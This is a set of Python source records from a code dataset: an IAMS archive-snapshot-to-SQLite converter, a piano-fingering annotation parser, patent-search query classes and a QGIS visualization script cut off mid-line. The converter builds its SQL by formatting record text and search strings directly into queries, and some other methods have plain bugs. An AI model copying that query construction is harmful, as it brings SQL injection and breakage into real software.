print(str(datetime.datetime.now()))\r\n\r\n conn = sqlite3.connect(os.path.join(db_folder, db_file + db_ext))\r\n cursor = conn.cursor()\r\n\r\n print('\\nSearching for matching records ...')\r\n print('----------------------------------------')\r\n print(str(datetime.datetime.now()))\r\n\r\n # Get a list of matching records\r\n i = 0\r\n format_str = \"\"\"\r\nSELECT RecordId FROM records {where}\r\nORDER BY RecordId ASC;\"\"\"\r\n try: sql_command = format_str.format(where=self.search_string)\r\n except:\r\n exit_prompt('Error creating XSL command to search for matching records: {}'.format(str(sys.exc_info())))\r\n else:\r\n if self.debug:\r\n print(str(cursor.execute(\"\"\"EXPLAIN QUERY PLAN {}\"\"\".format(sql_command)).fetchall()))\r\n cursor.execute(sql_command)\r\n row = cursor.fetchone()\r\n while row:\r\n self.ids.add(row[0])\r\n i += 1\r\n print('\\r{} matching records'.format(str(i)), end='\\r')\r\n try: row = cursor.fetchone()\r\n except: break\r\n\r\n # Remove records not to be exported\r\n if os.path.isfile(os.path.join(db_folder, 'List of IDs not to be exported.txt')):\r\n print('\\n\\nRemoving records that should not be exported ...')\r\n eap = set()\r\n ifile = open(os.path.join(db_folder, 'List of IDs not to be exported.txt'), mode='r', encoding='utf-8', errors='replace')\r\n for filelineno, line in enumerate(ifile):\r\n line = line.strip()\r\n if is_IAMS_id(line): eap.add(line)\r\n ifile.close()\r\n self.ids = self.ids - eap\r\n del eap\r\n gc.collect()\r\n self.search_list = '\\'' + str('\\', \\''.join(self.ids)) + '\\''\r\n\r\n # Records\r\n if file_records:\r\n\r\n print('\\n\\nWriting records file ...')\r\n format_str = \"\"\"\r\nSELECT {search_fields} FROM records\r\nWHERE RecordId IN ({search_list}) ORDER BY RecordId ASC;\"\"\"\r\n sql_command = format_str.format(\r\n search_fields=', '.join(str(f) for f in self.output_fields.values\r\n if self.output_fields.values[f][0].startswith('Y==')),\r\n search_list=self.search_list)\r\n run_sql(cursor, sql_command, records, self.debug)\r\n\r\n # Titles\r\n if file_titles:\r\n print('\\n\\nWriting titles file ...')\r\n\r\n format_str = \"\"\"\r\nSELECT t1.Title,\r\n( SELECT GROUP_CONCAT(t2.Title, ' ; ')\r\nFROM titles t2\r\nWHERE ( t2.RecordId = t1.RecordId AND t1.Title <> t2.Title )\r\nORDER BY t2.Title ASC\r\n) AS otherTitles,\r\n{search_fields}\r\nFROM titles t1\r\nINNER JOIN records ON records.RecordId = t1.RecordId\r\nWHERE t1.RecordId IN ({search_list}) ORDER BY t1.Title ASC ;\"\"\"\r\n sql_command = format_str.format(\r\n search_fields=', '.join(('records.' + str(f)) for f in self.output_fields.values\r\n if self.output_fields.values[f][0].startswith('Y==')\r\n and f not in ['TK', 'TT', 'TU', 'TV']),\r\n search_list=self.search_list)\r\n run_sql(cursor, sql_command, topics, self.debug)\r\n\r\n # Old format_str\r\n # format_str =\r\n \"\"\"\r\nSELECT TT, TV, {search_fields} FROM records\r\nWHERE ( RecordId IN ({search_list}) AND TT <> '' )\r\nORDER BY RecordId ASC;\"\"\"\r\n\r\n # Names\r\n if file_names:\r\n\r\n print('\\n\\nWriting names file ...')\r\n format_str = \"\"\"\r\nSELECT n1.Name, n1.NameDates, n1.NameType, n1.NameRole, n1.NameISNI, n1.NameVIAF,\r\n( SELECT GROUP_CONCAT(n2.Name || ', ' || n2.NameDates || ' [' || n1.NameRole || '], ' || n2.NameISNI || ', ' || n2.NameVIAF, ' ; ')\r\nFROM names n2\r\nWHERE ( n2.RecordId = n1.RecordId AND n1.Name <> n2.Name AND n1.NameDates <> n2.NameDates )\r\nORDER BY n2.Name ASC\r\n) AS otherNames,\r\n{search_fields}\r\nFROM names n1\r\nINNER JOIN records ON records.RecordId = n1.RecordId\r\nWHERE n1.RecordId IN ({search_list}) ORDER BY n1.Name ASC ;\"\"\"\r\n sql_command = format_str.format(\r\n search_fields=', '.join(('records.' + str(f)) for f in self.output_fields.values\r\n if self.output_fields.values[f][0].startswith('Y==')\r\n and f not in ['AN', 'AA', 'AD', 'AT', 'AR', 'II', 'VF']),\r\n search_list=self.search_list)\r\n run_sql(cursor, sql_command, names, self.debug)\r\n\r\n # Subjects\r\n if file_topics:\r\n\r\n print('\\n\\nWriting subjects file ...')\r\n format_str = \"\"\"\r\nSELECT subjects.Topic, subjects.TopicType, {search_fields}\r\nFROM subjects INNER JOIN records ON subjects.RecordId = records.RecordId\r\nWHERE subjects.RecordId IN ({search_list}) ORDER BY subjects.Topic ASC ;\"\"\"\r\n sql_command = format_str.format(\r\n search_fields=', '.join(('records.' + str(f)) for f in self.output_fields.values\r\n if self.output_fields.values[f][0].startswith('Y==')\r\n and f not in ['SU']),\r\n search_list=self.search_list)\r\n run_sql(cursor, sql_command, topics, self.debug)\r\n\r\n # Close files\r\n for file in [records, names, titles, topics]:\r\n try: file.close()\r\n except: pass\r\n\r\n # Close connection to local database\r\n conn.close()\r\n\r\n\r\nclass IAMS2SQL(Converter):\r\n\r\n def __init__(self, debug=False):\r\n self.authorities = {}\r\n self.header = '========================================\\n' + \\\r\n 'snapshot2sql\\n' + \\\r\n 'IAMS data preparation for Researcher Format\\n' + \\\r\n '========================================\\n' + \\\r\n 'This utility converts the IAMS Published Snapshot to an SQL database\\n'\r\n Converter.__init__(self, debug)\r\n\r\n def iams2rf_snapshot2sql(self, iams_snapshot_path, db_path):\r\n \"\"\"Convert the IAMS Published Snapshot to an SQL database\r\n\r\n :param iams_snapshot_path: Path to the IAMS Published Snapshot.\r\n :param db_path: Path to save the SQL database.\r\n \"\"\"\r\n\r\n self.show_header()\r\n\r\n # Check file locations\r\n iams_folder, iams_file, iams_ext = check_file_location(iams_snapshot_path, 'IAMS Database Snapshot', '.csv', True)\r\n db_folder, db_file, db_ext = check_file_location(db_path, 'SQL database', '.db')\r\n\r\n # --------------------\r\n # Parameters seem OK => start script\r\n # --------------------\r\n\r\n # Display confirmation information about the transformation\r\n print('IAMS Database Snapshot: {}'.format(str(os.path.join(iams_folder, iams_file + iams_ext))))\r\n print('SQL database: {}'.format(str(os.path.join(db_folder, db_file + db_ext))))\r\n if self.debug:\r\n print('Debug mode')\r\n\r\n # --------------------\r\n # Build indexes\r\n # --------------------\r\n\r\n print('\\nBuilding indexes ...')\r\n print('----------------------------------------')\r\n print(str(datetime.datetime.now()))\r\n\r\n rfile = open(os.path.join(iams_folder, iams_file + iams_ext), mode='r', encoding='utf-16-le', errors='replace')\r\n i = 0\r\n rec, rid = '', ''\r\n\r\n # Don't process lines before authorities have been reached\r\n if self.debug:\r\n print('Enumerating IAMS Database Snapshot ... Authorities not yet reached')\r\n for filelineno, line in enumerate(rfile):\r\n if '},045-' in line:\r\n rec = line\r\n if self.debug: print('Reached the authorities')\r\n break\r\n gc.collect()\r\n\r\n for filelineno, line in enumerate(rfile):\r\n line = line.strip()\r\n if line.startswith('{') and rec:\r\n i += 1\r\n print('\\r{} records indexed'.format(str(i)), end='\\r')\r\n rec = clean(rec)\r\n rid = rec.split(',')[1]\r\n if record_type(rid) == 'Corporation':\r\n self.authorities[rid] = Corporation(rec)\r\n elif record_type(rid) == 'Family':\r\n self.authorities[rid] = Family(rec)\r\n elif record_type(rid) == 'Person':\r\n self.authorities[rid] = Person(rec)\r\n elif record_type(rid) == 'Place':\r\n self.authorities[rid] = Place(rec)\r\n elif record_type(rid) == 'Subject':\r\n self.authorities[rid] = Subject(rec)\r\n rec = line\r\n else:\r\n rec += line\r\n # Ensure last record in the file is processed\r\n if rec:\r\n i += 1\r\n print('\\r{} records indexed'.format(str(i)), end='\\r')\r\n rec = clean(rec)\r\n rid = rec.split(',')[1]\r\n if record_type(rid) == 'Corporation':\r\n self.authorities[rid] = Corporation(rec)\r\n elif record_type(rid) == 'Family':\r\n self.authorities[rid] = Family(rec)\r\n elif record_type(rid) == 'Person':\r\n self.authorities[rid] = Person(rec)\r\n elif record_type(rid) == 'Place':\r\n self.authorities[rid] = Place(rec)\r\n elif record_type(rid) == 'Subject':\r\n self.authorities[rid] = Subject(rec)\r\n\r\n rfile.close()\r\n gc.collect()\r\n\r\n # --------------------\r\n # Connect to local database\r\n # --------------------\r\n\r\n print('\\n\\nConnecting to local database ...')\r\n print('----------------------------------------')\r\n print(str(datetime.datetime.now()))\r\n\r\n if self.debug:\r\n print('sqlite connection: {}'.format(str(os.path.join(db_folder, db_file + db_ext))))\r\n conn = sqlite3.connect(os.path.join(db_folder, db_file + db_ext))\r\n cursor = conn.cursor()\r\n\r\n # Create tables\r\n fields = Output()\r\n for table_name in ['records', 'names', 'subjects', 'titles']:\r\n create_table(conn, cursor, table_name, debug=self.debug)\r\n\r\n # Add records to database\r\n # ====================================================================================================\r\n\r\n print('\\n\\nAdding records to the database ...')\r\n print('----------------------------------------')\r\n print(str(datetime.datetime.now()))\r\n\r\n # --------------------\r\n # Open CSV file\r\n # --------------------\r\n\r\n print('\\n\\nOpening CSV file from IAMS snapshot ...')\r\n rfile = open(os.path.join(iams_folder, iams_file + iams_ext), mode='r', encoding='utf-16-le', errors='replace')\r\n rec = ''\r\n i = 0\r\n for filelineno, line in enumerate(rfile):\r\n line = line.strip()\r\n if line.startswith('{') and rec:\r\n i += 1\r\n print('\\r{} records processed'.format(str(i)), end='\\r')\r\n record = ArchiveDescription(rec, self.authorities)\r\n # Need to amend something here\r\n\r\n if record.type in ['Corporation', 'Family', 'Person', 'Place', 'Subject']:\r\n break\r\n\r\n if is_IAMS_id(record.ID):\r\n try:\r\n format_str = \"\"\"\r\nINSERT INTO records (id, RecordId, {Fields})\r\nVALUES (NULL, \"{RecordId}\", {Values}); \"\"\"\r\n sql_command = format_str.format(RecordId=record.ID,\r\n Fields=', '.join(item for item in fields.values),\r\n Values='\"' + '\", \"'.join(str(p) for p in [\r\n ' ; '.join(\r\n str(q) for q in sorted(record.output.values[item]))\r\n for item in fields.values]) + '\"')\r\n cursor.execute(sql_command)\r\n except:\r\n print('\\nError [at002]: {}\\n'.format(str(sys.exc_info())))\r\n\r\n # Save names\r\n for n in record.names:\r\n try:\r\n format_str = \"\"\"\r\nINSERT INTO names (id, RecordId, Name, NameDates, NameType, NameRole, NameISNI, NameVIAF)\r\nVALUES (NULL, \"{RecordId}\", \"{Name}\", \"{NameDates}\", \"{NameType}\", \"{NameRole}\", \"{NameISNI}\", \"{NameVIAF}\"); \"\"\"\r\n sql_command = format_str.format(RecordId=record.ID,\r\n Name=n[0].name,\r\n NameDates=n[0].dates,\r\n NameType=n[0].atype,\r\n NameRole=n[1],\r\n NameISNI=n[0].isni,\r\n NameVIAF=n[0].viaf)\r\n cursor.execute(sql_command)\r\n except:\r\n print('\\nError [at003]: {}\\n'.format(str(sys.exc_info())))\r\n\r\n # Save subjects\r\n for s in record.subjects:\r\n try:\r\n format_str = \"\"\"\r\nINSERT INTO subjects (id, RecordId, Topic, TopicType)\r\nVALUES (NULL, \"{RecordId}\", \"{Topic}\", \"{TopicType}\"); \"\"\"\r\n sql_command = format_str.format(RecordId=record.ID,\r\n Topic=str(s),\r\n TopicType=s.atype)\r\n cursor.execute(sql_command)\r\n except:\r\n print('\\nError [at004]: {}\\n'.format(str(sys.exc_info())))\r\n\r\n\r\n # Save titles\r\n for t in record.titles:\r\n try:\r\n format_str = \"\"\"\r\nINSERT INTO titles (id, RecordId, Title)\r\nVALUES (NULL, \"{RecordId}\", \"{Title}\"); \"\"\"\r\n sql_command = format_str.format(RecordId=record.ID,\r\n Title=str(t))\r\n cursor.execute(sql_command)\r\n except:\r\n print('\\nError [at005]: {}\\n'.format(str(sys.exc_info())))\r\n\r\n rec = line\r\n else:\r\n rec += line\r\n\r\n # Save changes at every 1000th record\r\n if filelineno % 1000 == 0:\r\n conn.commit()\r\n\r\n conn.commit()\r\n\r\n # Build indexes\r\n # ====================================================================================================\r\n\r\n print('\\n\\nCreating indexes ...')\r\n print('----------------------------------------')\r\n print(str(datetime.datetime.now()))\r\n for table_name in ['records', 'names', 'subjects', 'titles']:\r\n build_index(conn, cursor, table_name, 'IDX_{}'.format(table_name))\r\n\r\n # Text file dumps of tables\r\n # ====================================================================================================\r\n\r\n print('\\n\\nWriting tables to text files ...')\r\n print('----------------------------------------')\r\n print(str(datetime.datetime.now()))\r\n for table_name in ['records', 'names', 'subjects', 'titles']:\r\n dump_table(cursor, table_name)\r\n\r\n # Close connection to local database\r\n conn.close()\r\n","sub_path":"iams2rf/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":59592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"212605538","text":"__author__ = 'David Randolph'\n# Copyright (c) 2014-2018 David A. Randolph.\n#\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation\n# files (the \"Software\"), to deal in the Software without\n# restriction, including without limitation the rights to use,\n# copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following\n# conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\nfrom tatsu import parse\n\n\nclass DAnnotation:\n GRAMMAR = \"\"\"\n @@grammar::Calc\n\n sequence = upper:staff ['@' lower:staff] ;\n\n staff = '&'.{line};\n line = {score_fingering}* ;\n\n score_fingering = orn:ornamental [\"/\" alt_orn:ornamental] segmenter:[segmenter]\n | pf:pedaled_fingering ['/' alt_pf:pedaled_fingering] segmenter:[segmenter]\n | p:pedaling ['/' alt_p:pedaling] segmenter:[segmenter]\n ;\n\n ornamental = ornaments:('(' {pedaled_fingering}+ ')') ;\n\n pedaled_fingering = soft:[soft] fingering:fingering damper:[damper] ;\n pedaling = soft:{soft}+ 'x' damper:{damper}+ ;\n\n fingering = strike:finger ['-' release:finger] ;\n finger = hand:[hand] digit:digit ;\n\n segmenter = \",\" | \";\" | \".\" ;\n damper = '_' | '^' ;\n soft = 'p' | 'f' ;\n hand = '<' | '>' ;\n digit = '1' | '2' | '3' | '4' | '5' | 'x' ;\n \"\"\"\n\n @staticmethod\n def ast_for_abcdf(abcdf):\n ast = parse(DAnnotation.GRAMMAR, abcdf)\n return ast\n\n def parse(self):\n return self._ast\n\n def score_fingering_at_index(self, index, staff=\"upper\"):\n if staff != \"upper\" and staff != \"lower\":\n raise Exception(\"Score fingerings ordered within upper and lower staff only.\")\n if staff == \"upper\":\n lines = self._ast.upper\n else:\n lines = self._ast.lower\n\n offset = 0\n for line in lines:\n if index < len(line) + offset:\n adjusted_index = index - offset\n return line[adjusted_index]\n offset += len(line)\n\n def strike_digit_at_index(self, index, staff=\"upper\"):\n sf = self.score_fingering_at_index(staff=staff, index=index)\n strike = sf.pf.fingering.strike\n return strike.digit\n\n def phrase_mark_at_index(self, index, staff=\"upper\"):\n sf = self.score_fingering_at_index(staff=staff, index=index)\n segger = sf.segmenter\n return segger\n\n def parse_upper(self):\n upper_abcdf = self.upper_abcdf()\n return DAnnotation.ast_for_abcdf(upper_abcdf)\n\n def parse_lower(self):\n lower_abcdf = self.upper_abcdf()\n return DAnnotation.ast_for_abcdf(lower_abcdf)\n\n def score_fingering_count(self, staff=\"both\"):\n # print(staff + \":::\" + self.abcdf() + \"\\n\")\n ast = self.parse()\n # print(ast)\n count = 0\n # Each staff is parsed into an array of lines. Each\n # line is an array of \"score fingerings,\" or note\n # fingerings with all the trimmings.\n if 'upper' in ast and (staff == \"upper\" or staff == \"both\"):\n lines = ast['upper']\n for line in lines:\n count += len(line)\n if 'lower' in ast and (staff == \"lower\" or staff == \"both\"):\n lines = ast['lower']\n for line in lines:\n count += len(line)\n return count\n\n def segregated_strike_digits(self, staff=\"upper\", hand=None):\n \"\"\"\n :return: String of digits (1-5), assuming all fingerings are\n are for the specified hand (\">\" or right for the\n upper staff by default).\n\n Returns None if any fingerings for the other hand\n are detected.\n \"\"\"\n if staff not in (\"upper\", \"lower\"):\n raise Exception(\"Invalid input: staff must be 'upper' or 'lower'.\")\n\n if not hand:\n hand = \">\"\n if staff == \"lower\":\n hand = \"<\"\n\n digits = []\n ast = self.parse()\n if staff == \"upper\":\n lines = ast.upper\n else:\n lines = ast.lower\n\n for line in lines:\n for score_fingering in line:\n strike = score_fingering.pf.fingering.strike\n current_hand = strike.hand\n digit = strike.digit\n if current_hand and current_hand != hand:\n return None\n digits.append(digit)\n digit_str = \"\".join(digits)\n return digit_str\n\n def handed_strike_digits(self, staff=\"upper\"):\n \"\"\"\n :return: Array of string, each of which is either \"x\" or is\n composed of a hand (\"<\" or \">\") identifief and a digit (1-5).\n\n Returns None if any fingerings for the other hand\n are detected.\n \"\"\"\n if staff not in (\"upper\", \"lower\"):\n raise Exception(\"Invalid input: staff must be 'upper' or 'lower'.\")\n\n ast = self.parse()\n if staff == \"upper\":\n lines = ast.upper\n hand = \">\"\n else:\n lines = ast.lower\n hand = \"<\"\n\n handed_digits = []\n for line in lines:\n for score_fingering in line:\n strike = score_fingering.pf.fingering.strike\n if strike.hand and strike.hand != hand:\n hand = strike.hand\n digit = strike.digit\n handed_digit = hand + str(digit)\n handed_digits.append(handed_digit)\n return handed_digits\n\n def __init__(self, abcdf=None, authority=None, authority_year=None, transcriber=None,\n transcription_date=None, abcdf_id=None, comments=''):\n self._authority = authority\n self._authority_year = authority_year\n self._transcriber = transcriber\n self._transcription_date = transcription_date\n self._ast = None\n self._abcdf = None\n if abcdf:\n self.abcdf(abcdf)\n self._abcdf_id = abcdf_id\n self._comments = comments\n\n def authority(self, authority=None):\n if authority:\n self._authority = authority\n return self._authority\n\n def authority_year(self, authority_year=None):\n if authority_year:\n self._authority_year = authority_year\n return self._authority_year\n\n def transcriber(self, transcriber=None):\n if transcriber:\n self._transcriber = transcriber\n return self._transcriber\n\n def transcription_date(self, transcription_date=None):\n if transcription_date:\n self._transcription_date = transcription_date\n return self._transcription_date\n\n @staticmethod\n def _flatten(abcdf):\n flattened = abcdf.replace(\"&\", \"\")\n return flattened\n\n def abcdf(self, abcdf=None, staff=None, flat=False):\n if abcdf:\n self._abcdf = abcdf\n self._ast = DAnnotation.ast_for_abcdf(abcdf)\n if staff == \"upper\":\n return self.upper_abcdf(flat=flat)\n elif staff == \"lower\":\n return self.lower_abcdf(flat=flat)\n if flat:\n return DAnnotation._flatten(self._abcdf)\n return self._abcdf\n\n def upper_abcdf(self, flat=False):\n (upper, lower) = self.abcdf().split('@')\n if flat:\n return DAnnotation._flatten(upper)\n return upper\n\n def lower_abcdf(self, flat=False):\n (upper, lower) = self.abcdf().split('@')\n if flat:\n return DAnnotation._flatten(lower)\n return lower\n\n def abcdf_id(self, abcdf_id=None):\n if abcdf_id:\n self._abcdf_id = abcdf_id\n return self._abcdf_id\n\n def comments(self, comments=None):\n if comments:\n self._comments = comments\n return self._comments.rstrip()\n\n def add_comment_line(self, comment):\n self._comments += comment + \"\\n\"\n","sub_path":"pydactyl/dcorpus/DAnnotation.py","file_name":"DAnnotation.py","file_ext":"py","file_size_in_byte":8635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"519728269","text":"from datetime import datetime\nfrom IPStreet import error\n\nclass Query:\n def __init__(self):\n self.q = {}\n self.query_is_big = 10000\n\n def add_keywords(self, input):\n if 'keywords' in self.q.keys():\n self.q['keywords'] = self.q['keywords'] + ' OR ' + (str(input))\n else:\n self.q['keywords'] = str(input)\n\n def add_owner(self, input):\n if 'owner' in self.q.keys():\n self.q['owner'] = self.q['owner'] + ' OR ' + (str(input))\n else:\n self.q['owner'] = str(input)\n\n def add_ultimate_parent(self, input):\n if 'ultimate_parent' in self.q.keys():\n self.q['ultimate_parent'] = self.q['ultimate_parent'] + ' OR ' + (str(input))\n else:\n self.q['ultimate_parent'] = str(input)\n\n def add_inventor(self, input):\n if 'inventor' in self.q.keys():\n self.q['inventor'] = self.q['inventor'] + ' OR ' + (str(input))\n else:\n self.q['inventor'] = str(input)\n\n def add_patent_class(self, input):\n if 'patent_class' in self.q.keys():\n self.q['patent_class'] = self.q['patent_class'] + ' OR ' + (str(input))\n else:\n self.q['patent_class'] = str(input)\n\n def add_patent_office(self, input):\n if 'patent_office' in self.q.keys():\n self.q['patent_office'] = self.q['patent_office'] + ' OR ' + (str(input))\n else:\n self.q['patent_office'] = str(input)\n\n def add_grant_number(self, input):\n if 'grant_number' in self.q.keys():\n current_list = self.q['grant_number']\n current_list.append(str(input))\n self.q['grant_number'] = current_list\n else:\n self.q['grant_number'] = [str(input)]\n\n def add_application_number(self, input):\n if 'application_number' in self.q.keys():\n current_list = self.q['application_number']\n current_list.append(str(input))\n self.q['application_number'] = current_list\n else:\n self.q['application_number'] = [str(input)]\n\n\n def add_publication_number(self, input):\n if 'publication_number' in self.q.keys():\n current_list = self.q['publication_number']\n current_list.append(str(input))\n self.q['publication_number'] = current_list\n else:\n self.q['publication_number'] = [str(input)]\n\n def add_prior_owner(self, input):\n if 'prior_owner' in self.q.keys():\n self.q['prior_owner'] = self.q['prior_owner'] + ', ' + (str(input))\n else:\n self.q['prior_owner'] = str(input)\n\n def add_law_firm(self, input):\n if 'law_firm' in self.q.keys():\n self.q['law_firm'] = self.q['law_firm'] + ', ' + (str(input))\n else:\n self.q['law_firm'] = str(input)\n\n def add_examiner(self, input):\n if 'examiner' in self.q.keys():\n self.q['examiner'] = self.q['examiner'] + ', ' + (str(input))\n else:\n self.q['examiner'] = str(input)\n\n def add_start_date(self, input, start_date_type):\n try:\n datetime.strptime(input, \"%Y-%m-%d\")\n except:\n error.ParamsInvalidError(\"end_date requires a date object in %Y-%m-%d format\")\n\n if str(start_date_type) not in ['earliest_file_date', 'application_date',\n 'publication_date', 'grant_date', 'expiration_date']:\n raise error.ParamsInvalidError(\"end_date_type must be 'earliest_date_filed','application_date', 'publication_date','grant_date', or 'expiration_date'.\")\n else:\n self.q['start_date'] = input\n self.q['start_date_type'] = start_date_type\n\n def add_end_date(self, input, end_date_type):\n try:\n datetime.strptime(input, \"%Y-%m-%d\")\n except:\n error.ParamsInvalidError(\"end_date requires a date object in %Y-%m-%d format\")\n\n if str(end_date_type) not in ['earliest_file_date', 'application_date',\n 'publication_date', 'grant_date', 'expiration_date']:\n raise error.ParamsInvalidError(\n \"end_date_type must be 'earliest_date_filed','application_date', 'publication_date','grant_date', or 'expiration_date'.\")\n else:\n self.q['end_date'] = input\n self.q['end_date_type'] = end_date_type\n\n def add_applied(self, input):\n if input not in ['True', 'False']:\n raise error.ParamsInvalidError(\"add_applied accepts only True or False\")\n else:\n self.q['applied'] = input\n\n\n def add_granted(self, input):\n if input not in ['True', 'False']:\n raise error.ParamsInvalidError(\"add_granted accepts only True or False\")\n else:\n self.q['granted'] = input\n\n def add_expired(self, input):\n if input not in ['True', 'False']:\n raise error.ParamsInvalidError(\"add_granted accepts only True or False\")\n else:\n self.q['expired'] = input\n\n def add_max_expected_results(self, input):\n if type(input) is not int:\n raise error.ParamsInvalidError(\"max_expected_results should be an int\")\n else:\n self.q['max_expected_results'] = input\n\n if input > self.query_is_big:\n print(\"Your response size will be very large, expect query to take a long time.\")\n\n def add_page_size(self, input):\n if type(input) is not int:\n raise error.ParamsInvalidError(\"page_size should be an int\")\n else:\n self.q['page_size'] = input\n\n\n def add_offset(self, input):\n if type(input) is not int:\n raise error.ParamsInvalidError(\"offset should be an int\")\n else:\n self.q['offset'] = input\n\n def print_current_query(self):\n print(vars(self))\n\n def remove_current_query(self):\n self.q = {}\n\nclass PatentData(Query):\n pass\n\n\nclass ConceptSearchQuery(Query):\n def __init__(self):\n self.raw_text = None\n super(ConceptSearchQuery, self).__init__()\n\n def add_raw_text(self, raw_text):\n try:\n type(raw_text) is str\n except TypeError:\n print(\"raw_text should be a string\")\n else:\n self.raw_text = raw_text\n\n\nclass FullTextSearch(ConceptSearchQuery):\n def __init__(self):\n super(FullTextSearch, self).__init__()\n\n\nclass ClaimOnlySearch(ConceptSearchQuery):\n def __init__(self):\n super(ClaimOnlySearch, self).__init__()\n\n\nclass ClaimParserQuery:\n def __init__(self):\n self.q = {}\n\n def add_grant_number(self, input):\n if 'grant_number' in self.q.keys():\n self.q['grant_number'] = self.q['grant_number'] + ', ' + (str(input))\n else:\n self.q['grant_number'] = str(input)\n\n def add_application_number(self, input):\n if 'application_number' in self.q.keys():\n self.q['application_number'] = self.q['application_number'] + ', ' + (str(input))\n else:\n self.q['application_number'] = str(input)\n\n def add_publication_number(self, input):\n if 'publication_number' in self.q.keys():\n self.q['publication_number'] = self.q['publication_number'] + ', ' + (str(input))\n else:\n self.q['publication_number'] = str(input)\n\n def add_patent_office(self, input):\n if 'patent_office' in self.q.keys():\n self.q['patent_office'] = self.q['patent_office'] + ', ' + (str(input))\n else:\n self.q['patent_office'] = str(input)\n\n def remove_current_query(self):\n self.q = {}\n\n\n\nclass NgramQuery(ClaimParserQuery):\n def __init__(self):\n super(NgramQuery, self).__init__()\n\n\nclass KeyPhraseQuery(ClaimParserQuery):\n def __init__(self):\n super(KeyPhraseQuery, self).__init__()\n\n\nclass ClaimElementsQuery(ClaimParserQuery):\n def __init__(self):\n super(ClaimElementsQuery, self).__init__()\n","sub_path":"IPStreet/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":7987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"197207963","text":"\"\"\"QGIS 3.0 script to visualize predictions and eval from a workflow config.\n\nGiven a workflow config and the output of running the workflow, this\nscript will add styled raster and vector layers to compare the predictions to\nthe ground truth for each of the test scenes. It also prints the eval to the\nconsole. To run this script, it should be copied into the QGIS Python console,\nand the rv_root and workflow_path variables at the bottom should be set.\n\"\"\"\nimport os\nimport json\n\nfrom PyQt5.QtGui import QColor\n\nfrom qgis.core import *\n\nfrom .experiment_files import ExperimentFiles\nfrom .file_util import get_local_path\nfrom .log import Log\n\nclass ExperimentLoadOptions:\n def __init__(self, training_scenes=True, training_labels=True,\n validation_scenes=True, validation_labels=True, validation_predictions=True,\n prediction_scenes=True, predictions=True):\n self.training_scenes = training_scenes\n self.training_labels = training_labels\n self.validation_scenes = validation_scenes\n self.validation_labels = validation_labels\n self.validation_predictions = validation_predictions\n self.prediction_scenes = prediction_scenes\n self.predictions = predictions\n\n def to_json(self):\n return { 'training_scenes': self.training_scenes,\n 'training_labels': self.training_labels,\n 'validation_scenes': self.validation_scenes,\n 'validation_labels': self.validation_labels,\n 'validation_predictions': self.validation_predictions,\n 'prediction_scenes': self.prediction_scenes,\n 'predictions': self.predictions }\n\n @classmethod\n def from_json(cls, json):\n return ExperimentLoadOptions(json['training_scenes'],\n json['training_labels'],\n json['validation_scenes'],\n json['validation_labels'],\n json['validation_predictions'],\n json['prediction_scenes'],\n json['predictions'])\n\nclass VizWorkflow(object):\n def __init__(self,\n iface,\n rv_root,\n workflow_uri,\n working_dir,\n aws_profile,\n style_profile,\n options):\n self.iface = iface\n self.rv_root = rv_root\n self.workflow_uri = workflow_uri\n self.working_dir = working_dir\n self.aws_profile = aws_profile\n self.style_profile = style_profile\n self.options = options\n\n def get_local_path(self, uri):\n return get_local_path(uri, self.working_dir, self.aws_profile)\n\n def show(self):\n return self.viz_workflow()\n\n def load_json(self, uri):\n path = self.get_local_path(uri)\n if path:\n with open(path, 'r') as f:\n return json.load(f)\n else:\n None\n\n def make_vector_renderer(self, layer, class_field, class_items):\n category_map = {}\n\n # TODO: Better Color Assignment?\n colors = ['Blue', 'Red', 'Green', 'Yellow']\n\n for i, class_item in enumerate(class_items):\n name = class_item['name']\n color = class_item.get('color', colors[i % len(colors)])\n category_map[name] = (color, name)\n\n categories = []\n for name, (color, label) in category_map.items():\n symbol = QgsSymbol.defaultSymbol(layer.geometryType())\n symbol_layer = QgsSimpleLineSymbolLayer()\n symbol_layer.setWidth(0.5)\n symbol.changeSymbolLayer(0, symbol_layer)\n symbol.setColor(QColor(color))\n\n category = QgsRendererCategory(label, symbol, name)\n categories.append(category)\n\n renderer = QgsCategorizedSymbolRenderer(class_field, categories)\n return renderer\n\n\n def get_class_field(self, labels_uri):\n labels = self.load_json(labels_uri)\n feature = labels['features'][0]\n properties = feature.get('properties', {})\n if 'class_name' in properties:\n return 'class_name'\n return 'label'\n\n\n def clear_layers(self):\n layer_ids = QgsProject.instance().mapLayers().keys()\n for layer_id in layer_ids:\n QgsProject.instance().removeMapLayer(layer_id)\n\n def dump_eval(self, eval_uri):\n eval_data = self.load_json(eval_uri)\n if eval_data:\n Log.log_info(json.dumps(eval_data, indent=2))\n\n def add_raster_layer(self, layer_name, path, sld=None):\n raster_layer = self.iface.addRasterLayer(path, layer_name)\n\n if sld:\n layer.loadSldStyle(sld)\n\n def viz_scenes(self, workflow, experiment_files):\n class_items = experiment_files.class_items\n errors = False\n\n # Training Data\n for id, scene_data in experiment_files.training_set.items():\n if self.options.training_scenes:\n if scene_data.raster_uris:\n for raster_uri in scene_data.raster_uris:\n raster_path = self.get_local_path(raster_uri)\n if raster_path:\n fname = os.path.splitext(os.path.basename(raster_path))[0]\n layer_name = \"training-scene-{}_{}\".format(fname, id)\n sld = None\n if self.style_profile and self.style_profile.validation_scenes_sld:\n sld = 